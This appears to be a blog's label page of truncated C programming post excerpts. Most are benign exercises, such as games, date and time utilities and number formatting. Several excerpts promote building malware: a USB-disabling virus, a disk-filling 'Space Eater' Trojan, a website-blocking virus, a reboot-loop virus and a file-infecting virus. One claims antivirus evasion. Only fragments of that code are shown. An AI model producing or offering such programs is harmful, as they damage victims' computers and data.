Latest Movie :
Recent Movies
Showing posts with label C Course Code. Show all posts
Showing posts with label C Course Code. Show all posts

A Virus Program to Disable USB Ports

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source cod
{[['']]}

How to Make a Trojan Horse

Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan
{[['']]}

A Virus Program to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only o
{[['']]}

A Virus Program to Restart the Computer at Every Startup

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are fami
{[['']]}

File Embedder Project in C

Some times it is necessary for our compiled project to have it’s supporting files embedded within the EXE module itself so that the supporting files may not be put into a seperate folder and carried along with the project. So here I am presenting you with the source code of the FILE EMBEDDER UTILITY project.This utility can be used to embed one file with in the other. ie: Suppose we need to embed a .bat file(or any other file *.exe,*bmp,.txt…..) into our final project so that the batch file is present with in the compiled module a
{[['']]}

C Program Without a Main Function

How to write a C program without a main function?. Is it possible to do that. Yes there can be a C program without a main function. Here’s the code of the program without a main function…   #include<stdio.h> #define decode(s,t,u,m,p,e,d) m##s##u##t #define begin decode(a,n,i,m,a,t,e) int begin() { printf(” hello “); } Does the above program run without the main function? Yes, the above program runs perfectly fine even without a main function. But how, whats the logic behind it? How can we have a C program working
{[['']]}

Guessing Game In C

This is a small guessing game written in C. In this guessing game you have to guess a number between 0 & 100. You have 8 chances to do that. Every time you guess wrongly the program will give you a hint that your guess is too high or your guess is too low. Based on this hint you have to guess the number in the remaining attempts. Here’s the code  #include<stdio.h> #include<stdlib.h> #include<time.h> void main() { int num,guess=-1,tries=0,pass=0; time_t t; srand((unsigned)time(&t)); num=rand()%100; while(
{[['']]}

A Self Destructing Program in C

This program will destroy itself upon execution. The program will cause the .exe file to be deleted upon execution. That is this program is capable of destroying itself upon execution. Here is the code   #include<stdio.h> #include<conio.h> #include<dos.h> void main() { printf(“This program will destroy itself if u press any key!!!\n”); getch(); remove(_argv[0]);/*array of pointers to command line arguments*/ } HOW TO COMPILE ? Load the source code to the compiler and compile (press Alt-F9) and then pres
{[['']]}

C Program for Pigeon Breeding Problem

The problem is as follows… Initially I have a pair of adult pigeons (capable of breeding) which give rise to another young pair every month until it reaches the age of 5 years (60 months). But the young pair starts breeding only when it is 2 months old. Once the adult pigeon pair starts breeding it never stops untils the age of 5 years. Assume the age of initial adult pigeon is 2 months old. This program takes the no. of months as input and will calculate the total no. of pigeons over a given time (as given by the input).This proble
{[['']]}

C Program to Set/Change the Current System Date

This program can be used to set the system date or to change the current system date.    #include <stdio.h> #include <process.h> #include <dos.h> int main(void) { struct date reset; struct date save_date; getdate(&save_date); printf(“Original date:\n”); system(“date”); reset.da_year = 2001; reset.da_day = 1; reset.da_mon = 1; setdate(&reset); printf(“Date after setting:\n”); system(“date”); setdate(&save_date); printf(“Back to original date:\n”); system(“date”); return 0; }
{[['']]}

C Program to Get the Current System Date

This program will get or read the current system date from the system. It displays Year, Month and Day.     #include <dos.h> #include <stdio.h> int main(void) { struct date d; getdate(&d); printf(“The current year is: %d\n”, d.da_year); printf(“The current day is: %d\n”, d.da_day); printf(“The current month is: %d\n”, d.da_mon); return 0; }
{[['']]}

C Program to Set/Change the Current System Time

This program can be used to set or change the system time #include <stdio.h> #include <dos.h> int main(void) { struct time t; gettime(&t); printf(“The current hour is: %d\n”, t.ti_hour); printf(“The current min is: %d\n”, t.ti_min); printf(“The current second is: %d\n”, t.ti_sec); /* Add one to the hour,minute & sec struct element and then call settime */ t.ti_hour++; t.ti_min++; t.ti_sec++; settime(&t); printf(“The current hour is: %d\n”, t.ti_hour); printf(“The current min is: %d\n”, t.ti_min); printf(“The current second is: %d\n”, t.ti_sec); return 0; }
{[['']]}

C Program to Get the Current System Time

This program reads the current system time and displays it in the form HH:MM:SS #include <stdio.h> #include <dos.h> int main(void) { struct time t; gettime(&t); printf(“The current time is: %2d:%02d:%02d\n”, t.ti_hour, t.ti_min, t.ti_sec); return 0; }
{[['']]}

C Program to Generate Random Numbers

This is a simple program to generate random numbers. This logic can be used to build a Lotto program or a program to pick Lucky number and so on. Here’s the program#include<stdio.h> #include <stdlib.h> #include <time.h> int main(void) { int i; time_t t; srand((unsigned) time(&t)); printf(“Ten random numbers from 0 to 99\n\n”); for(i=0; i<10;i++) printf(“%d\n”,rand()%100); } OR  If it necessary to generate a number between 0 and (num-1) then this program meets the ideal solution#include<stdio.h>#include<stdlib.h>#include<time.h>/* prints
{[['']]}

C Program To Accept Password

This is a simple login program in C. While accepting password it masks each character using ‘*’ symbol and display the password in the next line after the user hits Enter key. It also accepts backspaces and acts accordingly. #include<stdio.h> #include<conio.h> char pw[25],ch; int i; void main() { clrscr(); puts(“Enter password”); while(1) { if(i<0) i=0; ch=getch(); if(ch==13) break; /*13 is ASCII value of ENTER*/ if(ch==8) /*ASCII value of BACKSPACE*/ { putch(‘\b’); putch(NULL); putch(‘\b’); –i; continue; } pw[i++]=ch; ch=’*'; putch(ch); } pw[i]=’\0′; printf(“\n\n%s”
{[['']]}

How to Create a Computer Virus?

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.  #include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int d
{[['']]}

C Program to Generate Numbers in Pyramid Pattern

This C program generates the numbers in pyramid pattern. It takes the input from two through nine and generates the numbers in the pyramid pattern. For example if the input is 4 then the program produces the following output…    ….1 1111112 2 111113 3 3 111.4 4 4 4 & so on..  CODE: #include<stdio.h> #include<conio.h> void main() { int i,n,j,x=40,y=10; clrscr(); printf(“Enter n (between 2 & 9)\n”); scanf(“%d”,&n); for(i=1;i<=n;i++) { gotoxy(x,y); /* To take the cursor to the co-ordinates x & y */ for(j=1;j<=i;j++) {  printf(“%d
{[['']]}

C Program to Print the Entered Number in Words

The following C program print’s the entered number in words. For example if the number entered is 12345 then the program prints the entered number in words as One Two Three Four Five  #include<stdio.h> void main() { int i=0; unsigned long int digit; char str[12],ch; puts(“Enter the number (less than 10 digit)”); scanf(“%lu”,&digit); ultoa(digit,str,10); /*converts an unsigned long int to string*/ while(str[i]!=’\0′) { ch=str[i]; i++; switch(ch) { case ’1′: printf(“ONE “); break; case ’2′: printf(“TWO “); break; case ’3′:
{[['']]}

C Program to display the No. of Digits in an Entered Number

This program displays the number of digits present in the number that is entered through the input. #include<stdio.h> #include<conio.h> void main() { unsigned long int num; int i=0; clrscr(); printf(“Enter the digit\n”); scanf(“%lu”,&num); while(num!=0) { num=num/10; ++i; } printf(“Length=%d”,i); getch(); }
{[['']]}

Program To Print A String Without Using Any Output Statements

This program can be used to print a string without using any output statements such as printf, puts etc. However this program only works in 16-bit mode since it directly writes to VDU Memory #include<stdio.h> #include<conio.h> char str[]=”Hello Srikanth”; char far *v=(char far *)0xb8000000; void main() { int i; for(i=0;i<14;i++) { *v=str[i]; v+=2; } getch(); }
{[['']]}
 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. SoftwareLibrary4u - All Rights Reserved
Template Created by Creating Website Published by Mas Template
Proudly powered by Blogger